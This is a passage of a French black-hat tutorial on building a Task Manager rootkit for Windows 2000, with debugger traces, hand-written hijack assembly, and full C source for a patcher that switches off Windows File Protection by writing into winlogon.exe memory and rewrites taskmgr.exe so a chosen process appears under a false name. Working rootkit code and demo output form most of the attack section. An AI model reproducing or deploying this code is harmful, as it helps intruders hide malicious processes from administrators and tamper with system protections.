0023:00081E78 0065002E 00650078 00000000 00000000 ...e.x.e........
[...]
---------------------------------------------------------------------------------------
Bingo ! on est en plein dedans !

Ce heap est utilisé pour stocker les noms de processus qui vont être affichés
par la suite :)

Tout ce qu'il nous suffit de faire, est de retrouver la fonction qui ecrit ces
noms dans le heap, detourner celle ci, et écrire notre propre fonction permettant
de renommer les processus que nous désirons.

Ok, pour retrouver la fonction à hijacker, nous allons utiliser les BPM (Break Point Memory)

voici la syntaxe pour les ignares :)
BPM[size] address [R|W|RW|X] [Debug register] [IF expression] [DO BP-action]

Vu que la procedure est assez longue, je vais vous expliquer vite fait les trucs chiants
pour passer aux choses interressantes.

Pour retrouver la bonne fonction qui va bien, on observe le heap, et on place les BPM
aux emplacements mémoire suceptibles de contenir un nom de processus.

Ca demande un peu de tracing, car le heap est sans cesse initialisé à coups de realloc,
mais bon, au bout de quelques secondes, vous devriez tomber sur un scenario de
ce type:

==================================[console softice]====================================
---------------------------------------------------------------------------------------
:bpm 81A88 (je prend une adresse dans le heap suceptible d'être utilisée par un process)
:x (on rebalance la sauce)
Break due to BPMB #0023:00081A88 RW DR3 (ET=327.29 Microseconds) <-- bingo
MSR LastBrachFromIP=77FC9C03
MSR LastBrachToIP=77FC9A08
:p ret
---------------------------------------------------------------------------------------
-------Etat des registres--------------------------------------------------------------
EAX=00081A68 EBX=77E84911 ECX=0006FFE0 EDX=00000014 ESI=000819C0
EDI=007A0D10 EBP=0006F064 ESP=0006EC24 EIP=01006F6D
---------------------------------------------------------------------------------------
001B:01006F4E 8D8DCCFBFFFF lea ecx, dword ptr [ebp+FFFFFBCC]
001B:01006F54 51 push ecx ; buffer destination
001B:01006F55 50 push eax ; EAX=00081A68 = pointeur vers STR placé sur heap
001B:01006F6B FFD3 call ebx ; EBX=77E84911 = KERNEL32.lstrcpyW
001B:01006F6D 85C0 test eax, eax ;<-- EIP
001B:01006F6F 898688000000 mov dword ptr [esi+00000088], eax
001B:01006F75 750A jnz 01006F81 ; jmp =>
001B:01006F77 B80E000780 mov eax, 8007000E
001B:01006F7C E92A020000 jmp 010071AB
001B:01006F81 0FB74F38 movzx ecx, word ptr [edi+38] ;<= here
001B:01006F85 D1E9 shr ecx, 1
001B:01006F87 41 inc ecx
---------------------------------------------------------------------------------------
------------------------- Partie interressante du code --------------------------------
---------------------------------------------------------------------------------------
-------Etat des registres--------------------------------------------------------------
EAX=000818E0 EBX=77E84911 ECX=00000007 EDX=0000000E ESI=00081838
EDI=007A00F8 EBP=0006F064 ESP=0006EC24 EIP=01006F88
---------------------------------------------------------------------------------------
001B:01006F88 51 push ecx ; nombre d'octet a copier
001B:01006F89 FF773C push [edi+3C] ; buffer source
001B:01006F8C 50 push eax ; buffer destination
001B:01006F8D FF1508110001 Call KERNEL32.lstrcpynW ;appelle de fonction
001B:01006F93 0FB74738 movzx eax, word ptr [edi+38]
001B:01006F97 8B8E88000000 mov ecx, dword ptr [esi+00000088]
001B:01006F9D D1E8 shr eax, 1
001B:01006F9F 6683244100 and word ptr [ecx+2*eax], 0000
=======================================================================================

En observant la première partie (celle qui a generé notre BPM), on remarque un appel
du type strcpy (eax,ecx).

Sachant que ECX=0006FFE0, qui est une adresse de la pile pointant sur la chaine de caractères
"Processus inactifs du système", et que EAX=00081A68, qui est une adresse pointant sur le heap.
Cette fonction ne sert donc qu'à initialiser le tableau des processus de taskmgr, car la
fonction n'est appellée qu'une seule fois. (de plus, un appel à strcpy montre bien que le
programmeur connaissait à l'avance la chaine à transférer)

La partie interressante du code se situe alors dans la deuxième section de cette analyse,
car l'appel de type lstrcpynW (eax, dword ptr [edi+3c], ecx) boucle jusqu'à remplir le
heap de tous les noms de processus qui composerons le tableau de taskmgr :)

On en déduit donc que la fonction à détourner est bien celle-ci:

---------------------------------WinDasm------------------------------
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:01006F75(C)
|
:01006F81 0FB74F38 movzx ecx, word ptr [edi+38]
:01006F85 D1E9 shr ecx, 1
:01006F87 41 inc ecx <-- determine la taille de la chaine à copier
:01006F88 51 push ecx <-- push la taille
:01006F89 FF773C push [edi+3C] <-- push le pointeur source
:01006F8C 50 push eax <-- push le pointeur destination

* Reference To: KERNEL32.lstrcpynW, Ord:0333h
|
:01006F8D FF1508110001 Call dword ptr [01001108] <-- appel de fonction
-------------------------------------------------------------------------

Maintenant que nous savons à quelle portion de code s'attaquer, où allons nous rediriger
le flot d'execution? Vers du hijacked code bien sur ;)

Mais où placer le hijacked code ? Pour ça nous avons 3 possibilités :

dans l'ordre de mes préferences
-------------------------------
- dans des dups
- dans les bits d'allignements
- rajouter des octets à la fin du fichier

Heureusement pour nous, taskmgr.exe possède une portion de code contenant pas moins de 500
octets de DUP ! :)

:0100CA2B 00000000000000000000 BYTE 10 DUP(0)
:0100CA35 00000000000000000000 BYTE 10 DUP(0)
:0100CA3F 00000000000000000000 BYTE 10 DUP(0)
[...]
:0100CBE3 00000000000000000000 BYTE 10 DUP(0)
:0100CBED 00000000000000000000 BYTE 10 DUP(0)
:0100CBF7 00000000000000000000 BYTE 10 DUP(0)


Ce qui va nous permettre de patcher comme ceci;

----------------------------------------[patch]------------------------------------
:01006F81 0FB74F38 movzx ecx, word ptr [edi+38]
:01006F85 D1E9 shr ecx, 1
:01006F87 41 inc ecx

/***************** On laisse intact le traitement effecué sur ecx ***************/

/*************************** Quand au reste, on ecrase tout **********************/

:01006F88 E89E5A0000 call 0100CA2B <-- detournement du flot d'execution vers les
:01006F8D 90 nop dup
:01006F8E 90 nop
:01006F8F 90 nop
:01006F90 90 nop
:01006F91 90 nop
-------------------------------------------------------------------------------------

Voila, nous venons de faire le plus facile.

On va enfin pouvoir commencer à parler technique...


#**/**/**/**/**/**/**#
#*/**/**/**/**/**/**/*#
-----------------------------
Elaboration du hijacked code!
-----------------------------
#**/**/**/**/**/**/**#
#*/**/**/**/**/**/**/*#


Le moment le plus trippant de la construction d'un rootkit se trouve ici, celui où il
nous faut recoder une fonction qui devra répondre à nos besoins.

Pour arriver au résultat souhaité, il faut avoir en tête un algorithme bien précis
et surtout bien tenir compte de l'environnement d'execution après notre détournement de
fonction.

Commençons par établir un algorithme répondant à nos besoins
-----------------------------------------------------------

De manière à présenter la chose un peu plus clairement dans vos esprits,
je vais essayer de vous transcrire vite fait en C comment se présente notre
application, et a quoi doit ressembler la fonction que nous allons recoder
en ASM.


==========================================================================
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <other>

// variables globales /

int ecx;
char **Currentprocess;
char *heap;

int main (int argc, char **argv) {

int i;
char init[]="Processus inactif du système"

[Code of Taskmgr.exe]

heap=malloc (strlen (Currentprocess));
strcpy (heap,init); //place la premiere ligne du tableau sur le heap

// ----- The fonction ------ /

for (i=0 ; Currentprocess[i][0] != 0x00 ; i++ ) {
ecx = strlen (Currentprocess[i]);
// lstrcpynW (heap, Currentprocess[i], ecx); que nous avons patcher par :
hijacked (heap, Currentprocess[i], ecx);
}

[...]

exit(0);

}

// our hijacked code

void hijacked (char *heap, char *CurrentProcess, int len) {

char ProcessName[]="process.exe";
char NewProcessName[]="newname.exe";

if (!lstrcmpiW (CurrentProcess, ProcessName))
lstrcpynW (heap, NewProcessName, ecx);
else
lstrcpynW (heap, Currentprocess, ecx);

}
==========================================================================


Quelques explications sur la fonction hijacked (pour les novices):

La fonction reçoit 3 arguments tirés du programme initial, qui sont respectivement :
- L'adresse de l'emplacement mémoire qui reçoit le nom du processus sur le heap.
- L'adresse de l'emplacement mémoire contenant le nom du process en cours de traitement.
- La longueur du nom de processus en cours de traitement.

Deux chaines de caractères sont declarées, pour lesquelles ProcessName correspond au
nom du process que l'on veut renommer et NewProcessName le nouveau nom que celui-ci va
adopter.

Si ProcessName = CurrentProcess, notre Hcode place sur le heap de réception la chaine de
caractères pointée par NewProcessName, dans le cas contraire, le fonction suit le cheminement
établi par le programme initial en plaçant sur le heap la chaine de caractères pointée par
CurrentProcess.

-

Well, maintenant que nous avons bien défini comment doit réagir notre fonction, il ne nous
reste plus qu'à coder celle-ci en ASM, en tenant compte de l'environnement initial d'execution.

Environnement qui se résume à ceci:

EAX= Pointeur destination
EBX= Adresse d'une fonction (strcpy je crois)
ECX= Longueur de la chaine

Dword ptr [edi+3C] = pointeur source

Il nous faut aussi trouver 2 emplacements où placer les chaines ProcessName et NewProcessName.

Ce sera respectivement 10CB9D et 10CBCF, qui sont 2 adresses correspondant à la fin du dup
de 500 octets utilisés pour placer le Hcode.

c'est parti !
----------------------------------------------------------------------------------------------
-- Hijacked code of Taskmgr.exe by ThreaT (codé directement en memoire) Warrior style --
----------------------------------------------------------------------------------------------
:a 100CA2B
0100CA2B 8BD8 mov ebx, eax ;on sauvegarde eax dans ebx
0100CA2D 51 push ecx ;push la longueur de chaine
0100CA2E 689DCB0001 push 0100CB9D ;push *ProcessName
0100CA33 FF773C push [edi+3C] ;push *Currentprocess

0100CA36 FF15A0100001 Call dword ptr [010010A0] ;Appelle de lstrcmpiW

0100CA3C 85C0 test eax, eax ;si Currentprocess != ProcessName
0100CA3E 7507 jne 0100CA47 ;saute à *1=>
0100CA40 68CFCB0001 push 0100CBCF ;push *NewProcessName
0100CA45 EB03 jmp 0100CA4A ;saute à *2=>

*1=> 0100CA47 FF773C push [edi+3C] ;push le pointeur source *Currentprocess

*2=> 0100CA4A 53 push ebx ;push le pointeur destination *heap

0100CA4B FF1508110001 Call dword ptr [01001108] ;appelle de lstrcpynW
0100CA51 BB1149E877 mov ebx, 77E84911 ;reinitialise EBX a sa valeur initial
0100CA56 C3 ret ;retour au programme
----------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------

ET VOILA LE TRAVAIL !

Il ne reste plus qu'à écrire le patcheur, qui incluera une option d'information d'état et
l'anti-WFP de crazylord.

Let's do it...


//
3.C Implémantation de l'anti-WFP, et démonstration d'attaque.
///

Si vous lisez cet article, je pense que vous avez quand même certaines competances.

Je vous lance donc les informations en brut.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
TASKRKIT.C
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

/********************************************************

TASKMGR.exe Rootkit, designed for win2k FR server.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Rootkit coded by ThreaT.
Anti WFP module coded by Crazylord.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
www.chapeaux-noirs.org


Compilation.
------------

Ne pas oublier de spécifier au linker d'inclure les librairies
version.lib et whl.lib

**********************************************************/


#include <windows.h>
#include <stdio.h>
#include <string.h>
#include "Whl.h" //Windows Hooking Library by crazylord v0.3

#define Patch_Offset 25992
#define Code_Offset 49195
#define ProcessNameOffset 49565
#define NewProcessNameOffset 49615
#define ADDRESS 0x76934110

HANDLE taskmgr;
char *info[3];

// declaration des prototypes de fonctions
void WriteCode (long offset, int len, char *octets);
void ReadCode (long offset, int len, char *info);
int sfcpatch (BOOL mode);

void main (int argc, char *argv[]) {


DWORD Reserved, BuffSize;
UINT nInfoSize;
VS_FIXEDFILEINFO *lpFixedInfo;
unsigned int i,j;
char *ProcessName, *NewProcessName, filename[MAX_PATH];
void *FileVersion;

/********* [PATCH FOR HIJACK FONCTION] *******
E89E5A0000 call 0100CA2B
90 nop
90 nop
90 nop
90 nop
90 nop

**********************************************/

char Patch[] = "xE8x9Ex5Ax00x00x90x90x90x90x90x90";

/************** [HIJACKED CODE] ***************
8BD8 mov ebx, eax
51 push ecx
689DCB0001 push 0100CB9D
FF773C push [edi+3C]
FF15A0100001 Call dword ptr [010010A0]
85C0 test eax, eax
7507 jne 0100CA47
68CFCB0001 push 0100CBCF
EB03 jmp 0100CA4A
FF773C push [edi+3C]
53 push ebx
FF1508110001 Call dword ptr [01001108]
BB1149E877 mov ebx, 77E84911
C3 ret
***********************************************/

char Code[] = "x8BxD8x51x68x9DxCBx00x01xFFx77x3CxFFx15xA0x10x00"
"x01x85xC0x75x07x68xCFxCBx00x01xEBx03xFFx77x3Cx53"
"xFFx15x08x11x00x01xBBx11x49xE8x77xC3";

printf ("--------------------------------- "
"Taskmgr Rootkit, Coded by ThreaT! "
"--------------------------------- "
" Contact : ThreaT@Caramail.com ");

if (lstrcmpi(argv[1],"/info") == 0) {
info[0] = (char *)GlobalAlloc(GPTR,44);
info[1] = (char *)GlobalAlloc(GPTR,50);
info[2] = (char *)GlobalAlloc(GPTR,50);

GetSystemDirectory(filename,MAX_PATH); lstrcat (filename,"/taskmgr.exe");

taskmgr=CreateFile(filename,GENERIC_READ,
FILE_SHARE_READ,
NULL,OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,NULL);

if (taskmgr == INVALID_HANDLE_VALUE) {
printf ("Erreur : Impossible d'ouvrir %s ! ",filename);
ExitProcess (0);
}

ReadCode (Code_Offset,44,info[0]);

if (!memcmp(info[0],Code,44)) {
ReadCode (ProcessNameOffset,50,info[1]);
ReadCode (NewProcessNameOffset,50,info[2]);

i = 0;
while (i++ < 2) {
for (i , j = 0; info[i][j] != 0x00 ; j+=2 )
info [i][j - 1] = 0x20;
}

printf ("TASKMGR is already ROOTKITED ! "
"Process Name : %s "
"New Process Name : %s ",info[1],info[2]); }
else
printf ("TASKMGR is not ROOTKITED. ");

ExitProcess (0);

}

if (argc < 3) {
printf ("Usage : %s <ProcessName> <NewProcessName> "
"--> %s /info pour connaitre l'etat du bordel ",argv[0],argv[0]);
ExitProcess (0);
}

if (strlen (argv[2])>strlen(argv[1]) || strlen(argv[1])>49) {
printf ("Erreur : La longueur de <NewProcessName> doit ˆtre inferieur "
" … celle de <ProcessName> ");
ExitProcess (0);
}


GetSystemDirectory(filename,MAX_PATH); lstrcat (filename,"/taskmgr.exe");

BuffSize = GetFileVersionInfoSize(filename, &Reserved);

FileVersion=(void *)GlobalAlloc(GPTR,BuffSize);
GetFileVersionInfo(filename,Reserved,BuffSize,FileVersion);

VerQueryValue(FileVersion, "/", (LPVOID*) &lpFixedInfo, &nInfoSize);

if (lpFixedInfo[0].dwFileVersionMS != 327680 ||
lpFixedInfo[0].dwFileVersionLS != 140050433 ||
lpFixedInfo[0].dwProductVersionLS != 140050433) {

printf (" Erreur de Version ! "
"------------------- "
"Ce rootkit est destin‚ … la Version FR 5.0.2137.1 de TASKMGR.EXE (Win2k server) "
"------------------- ");
ExitProcess (0);
}

ProcessName=(char *)GlobalAlloc(GPTR,50);
NewProcessName=(char *)GlobalAlloc(GPTR,50);

for (i = 0, j = 0; j < strlen (argv[1]); i+=2) {
ProcessName[i] = argv[1][j];
NewProcessName[i] = argv[2][j++];
}

printf ("Desactivation de la Windows File Protection... "
"********************************************** ");
sfcpatch (0); // Patch the Windows File Protection in memory
puts ("********************************************** ");

i = 1;
do {
printf ("Patching %s...",filename);
taskmgr=CreateFile(filename,GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,NULL);

if (taskmgr == INVALID_HANDLE_VALUE) {
printf ("Erreur : Impossible d'ouvrir %s ! ",filename);
ExitProcess (0);
}


WriteCode (Patch_Offset,11,Patch);
WriteCode (Code_Offset, 44,Code);
WriteCode (ProcessNameOffset,50,ProcessName);
WriteCode (NewProcessNameOffset,50,NewProcessName);

CloseHandle(taskmgr); puts ("ok");
GetSystemDirectory(filename,MAX_PATH); lstrcat (filename,"/dllcache/taskmgr.exe");
} while (i--);

printf (" Reactivation de la Windows File Protection... "
"********************************************* ");
sfcpatch (1); // Unpatch the WFP
puts ("********************************************* ");

printf (" www.chapeaux-noirs.org "
" Rules the world and own the planet ");

printf ("taskmgr.exe … ‚t‚ patch‚ avec succŠs ! "
"%s est maintenant connu sous le nom de %s :) ",argv[1],argv[2]);

}

void WriteCode (long offset, int len, char *octets) {
DWORD temp;
SetFilePointer(taskmgr,offset,NULL,FILE_BEGIN);
WriteFile(taskmgr,octets,len,&temp,NULL);
}

void ReadCode (long offset, int len, char *info) {
DWORD temp;
SetFilePointer(taskmgr,offset,NULL,FILE_BEGIN);
ReadFile(taskmgr,info,len,&temp,NULL);
}


/****************************************

WFP Memory patcher, By Crazylord

set (BOOL *)mode to 0 for patch the WFP
set (BOOL *)mode to 1 for unpatch the WFP

*****************************************/

int sfcpatch (BOOL mode) {

PWHL_PROCESS WhlProcess;
UCHAR Buffer[2];
UCHAR OldBuffer[2];

printf(" * Sfc.dll 2 byte patch by crazylord :) * ");

if (WhlInit()) {
printf(" * debug privilege set ");
} else {
printf("error (%i): %s ", WhlCurrentAction, WhlError);
return(0);
}

WhlProcess = WhlGetProcessInfo("winlogon.exe");
if (WhlProcess == 0) {
printf("error (%i): %s ", WhlCurrentAction, WhlError);
return(0);
}

// first 2 byte of "mov edi, [eax+10h]"
OldBuffer[0] = 0x8b;
OldBuffer[1] = 0x78;
Buffer[0] = 0x75;
Buffer[1] = 0x3b;

if (mode == 0) {
if (WhlCheckAndWriteProcessMemory(WhlProcess,
(PVOID) ADDRESS,
OldBuffer,
Buffer,
2)) {
printf(" * mem patched ! (%i) ", WhlCurrentAction);
} else {
printf("error (%i): %s ", WhlCurrentAction, WhlError);
}
} else {
if (WhlCheckAndWriteProcessMemory(WhlProcess,
(PVOID) ADDRESS,
Buffer,
OldBuffer,
2)) {
printf(" * mem patched ! (%i) ", WhlCurrentAction);
} else {
printf("error (%i): %s ", WhlCurrentAction, WhlError);
}
}

if (WhlReadProcessMemory(WhlProcess, (PVOID) 0x76934110, Buffer, 2)) {
printf(" * 0x%x: %x%x ", ADDRESS, Buffer[0], Buffer[1]);
} else {
printf("error (%i): %s ", WhlCurrentAction, WhlError);
}


CloseHandle(WhlProcess->ProcessHandle);
//free(WhlProcess);
return(0);
}

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
EOF
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

C:>taskrkit
---------------------------------
Taskmgr Rootkit, Coded by ThreaT!
---------------------------------
Contact : ThreaT@Caramail.com

Usage : taskrkit <ProcessName> <NewProcessName>

--> taskrkit /info pour connaitre l'etat du bordel

C:>taskrkit /info
---------------------------------
Taskmgr Rootkit, Coded by ThreaT!
---------------------------------
Contact : ThreaT@Caramail.com

TASKMGR is not ROOTKITED.

C:>taskrkit winlogon.exe -ThreaT-
---------------------------------
Taskmgr Rootkit, Coded by ThreaT!
---------------------------------
Contact : ThreaT@Caramail.com

Désactivation de la Windows File Protection...
**********************************************
* Sfc.dll 2 byte patch by crazylord :) *

* debug privilege set
* mem patched ! (4)
* 0x76934110: 753b
**********************************************

Patching C:WINNTSystem32 askmgr.exe...ok
Patching C:WINNTSystem32dllcache askmgr.exe...ok

Reactivation de la Windows File Protection...
*********************************************
* Sfc.dll 2 byte patch by crazylord :) *

* debug privilege set
* mem patched ! (4)
* 0x76934110: 8b78
*********************************************


www.chapeaux-noirs.org
Rules the world and ownz the planet


taskmgr.exe a été patché avec succès !
winlogon.exe est maintenant connu sous le nom de -ThreaT- :)

C:>taskmgr

____________ _________ ____________
|Applications|Processus|Performances|
######################################################################
# Nom de l'image # PID # CPU # Temps UC # Util. mémoire #
######################################################################
|Processus inactif du système | 0 | 99 | 8:41:22 | 16 ko |
|System | 8 | 00 | 0:01:34 | 212 ko |
|smss.exe | 156 | 00 | 0:00:00 | 344 ko |
|csrss.exe | 184 | 00 | 0:00:12 | 2 420 ko |
|-ThreaT- | 204 | 00 | 0:00:02 | 1 192 ko |
|services.exe | 232 | 00 | 0:00:04 | 5 384 ko |
|lsass.exe | 244 | 00 | 0:00:00 | 4 556 ko |
|svchost.exe | 412 | 00 | 0:00:01 | 2 072 ko |
|SPOOLSV.exe | 440 | 00 | 0:00:00 | 2 920 ko |
|cmd.exe | 752 | 00 | 0:00:00 | 964 ko |
. . . . . .
. . . . . .
. . . . . .
. . . . . .


C:>taskrkit /info
---------------------------------
Taskmgr Rootkit, Coded by ThreaT!
---------------------------------
Contact : ThreaT@Caramail.com

TASKMGR is already ROOTKITED !

Process Name : w i n l o g o n . e x e
New Process Name : - T h r e a T -

C:>


Nous avons réussi à patcher TASKMGR.EXE afin que celui ci renomme winlogon.exe
en -ThreaT-, et la WFP n'a même pas bronché :)

Mission ACCOMPLIE !

Ce fut un plaisir de travailler avec vous :)


/**************************************************************************************
IV. FIN
***************************************************************************************/

Et voila, cet article touche à sa fin !

j'espère que vous avez pris autant de plaisir à le lire, que j'ai pris de plaisir à l'ecrire,
et dans l'attente d'une question éventuelle, je m'en vais retrouver ce trou perdu qui
retardera de quelques jours ma capture inévitable...

En tout cas, je souhaite bonne chance à tous ceux qui s'investissent dans ce milieu maudit
par les incompétants, et méconnu de l'opinion publique. Et je terminerai ce paper par cette
citation à prendre comme l'avertissement suprême :

-

Quand l'idiot se voit tel qu'il est, alors il n'en est plus un;
et lorsque le sage tire un enseignement de sa sagesse, alors il devient idiot.

Car il n'y a que dans la certitude que réside le danger moral,
et le doute est un don qu'il nous faut chérir parce qu'il nous force constamment à nous
remettre en question.

Il nous fait tendre vers la vérité...

-


* Merci à AD-tonnou pour avoir relu et corrigé ce paper

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值